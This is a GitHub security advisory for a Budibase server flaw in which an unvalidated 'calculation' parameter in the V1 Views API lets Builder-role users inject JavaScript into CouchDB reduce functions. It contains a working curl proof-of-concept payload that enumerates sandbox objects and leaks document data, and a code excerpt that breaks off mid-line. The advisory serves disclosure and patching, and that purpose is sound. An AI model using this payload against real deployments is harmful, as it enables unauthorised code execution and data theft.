GitHub Advisoryadvisory · npm
GHSA-363w-hvwh-w7m6 Budibase: CouchDB Reduce Injection via Unsanitized Calculation Parameter in V1 Views API
MEDIUM
Official page ↗
- Aliases
- CVE-2026-45719
- Ecosystem
- npm
- Packages
- @budibase/server
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-94
- Reviewed
- 2026-05-18
Affected packages
• npm @budibase/server: < 3.38.1 → fixed in 3.38.1
Description
Security Advisory: CouchDB Reduce Injection via Unsanitized Calculation Parameter in V1 Views API
Affected Software: Budibase
Affected Component: `packages/server/src/api/controllers/view/viewBuilder.ts`, `packages/server/src/api/routes/view.ts`
CWE: CWE-94 (Improper Control of Generation of Code)
Discovery Date: 2026-03-24
---
Summary
The V1 Views API (`POST /api/views`) accepts a `calculation` parameter from the request body that is interpolated directly into a CouchDB reduce function definition without validation. Although an internal `SCHEMA_MAP` object defines the valid calculation types (`sum`, `count`, `stats`), no actual validation is performed against this map before the value is used in string interpolation.
A user with Builder permissions can inject arbitrary JavaScript code that will be executed within the CouchDB JavaScript engine when the view is queried.
---
Affected Component
Route: `POST /api/views` (V1 legacy views endpoint)
File: `packages/server/src/api/routes/view.ts`, line 45
```js
.post("/api/views", viewController.v1.save)
```
Note: This route has no Joi request body validator, unlike the V2 views endpoint which uses `viewValidator()`.
Vulnerable code: `packages/server/src/api/controllers/view/viewBuilder.ts`, line 213
```js
const reduction = field && calculation ? { reduce: `_${calculation}` } : {}
return {
meta: { field, tableId, groupBy, filters, schema, calculation, ... },
map: `function (doc) { ... }`,
...reduction, // /api/views \
-H "Content-Type: application/json" \
-H "Cookie: " \
-d '{
"name": "test_view",
"tableId": "",
"field": "amount",
"calculation": "stats\"); } function(keys,values,rereduce){ var data = \"\"; for(var i in this) { data += i + \"=\" + this[i] + \",\"; } return data; } //"
}'
```
2. Query the created view:
```bash
curl https:///api/views/test_view?group=true \
-H "Cookie: "
```
3. Expected result: The injected JavaScript function executes in CouchDB's JS context during reduce evaluation. The function can:
• Enumerate objects available in the CouchDB sandbox
• Access document data from the reduce `values` parameter
• Return arbitrary data in the view response
Simplified test: To verify the injection point without complex payloads:
```json
{
"name": "calc_test",
"tableId": "",
"field": "amount",
"calculation": "INVALID_NOT_A_BUILTIN"
}
```
This produces `reduce: "_INVALID_NOT_A_BUILTIN"`. CouchDB will reject this as neither a valid built-in nor a valid function, confirming that arbitrary strings reach the reduce evaluator.
---
Impact
• Code execution: Arbitrary JavaScript runs in CouchDB's SpiderMonkey sandbox
• Data access: The reduce function receives all matching document values, allowing data exfiltration across the database
• Scope limitation: CouchDB's JS sandbox prevents filesystem or network access — this is not OS-level RCE
• Authentication required: Attacker must have Builder role, which already grants significant application access
• Persistence: The injected reduce function persists in the design document and executes on every view query
---
Recommended Fix
Add an allowlist validation in `viewBuilder` before the reduce interpolation:
```typescript
const VALID_CALCULATIONS = ["sum", "count", "stats"];
if (calculation && !VALID_CALCULATIONS.includes(calculation)) {
throw new Error(`Invalid calculation type: ${calculation}`);
}
const reduction = field && calculation ? { reduce: `_${calculation}` } : {};
```
Additionally, add a Joi validator to the V1 views route to match the V2 endpoint:
```typescript
// In packages/server/src/api/routes/view.ts
.post("/api/views", v1ViewValidator(), viewController.v1.save)
```
---
Additional Context
The V2 views API (`POST /api/v2/views`) uses `viewValidator()` with Joi schema validation and a separate calculation handling path. This finding is specific to the V1 legacy endpoint which lacks equivalent input validation.
The `map` function string in the same code is properly protected — all user inputs reaching it are escaped via `JSON.stringify()` or validated against a strict `TOKEN_MAP` allowlist. Only the `reduce` path is affected.
Related
Alias · CVE (1)
- CVE-2026-45719 Budibase is an open-source low-code platform. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness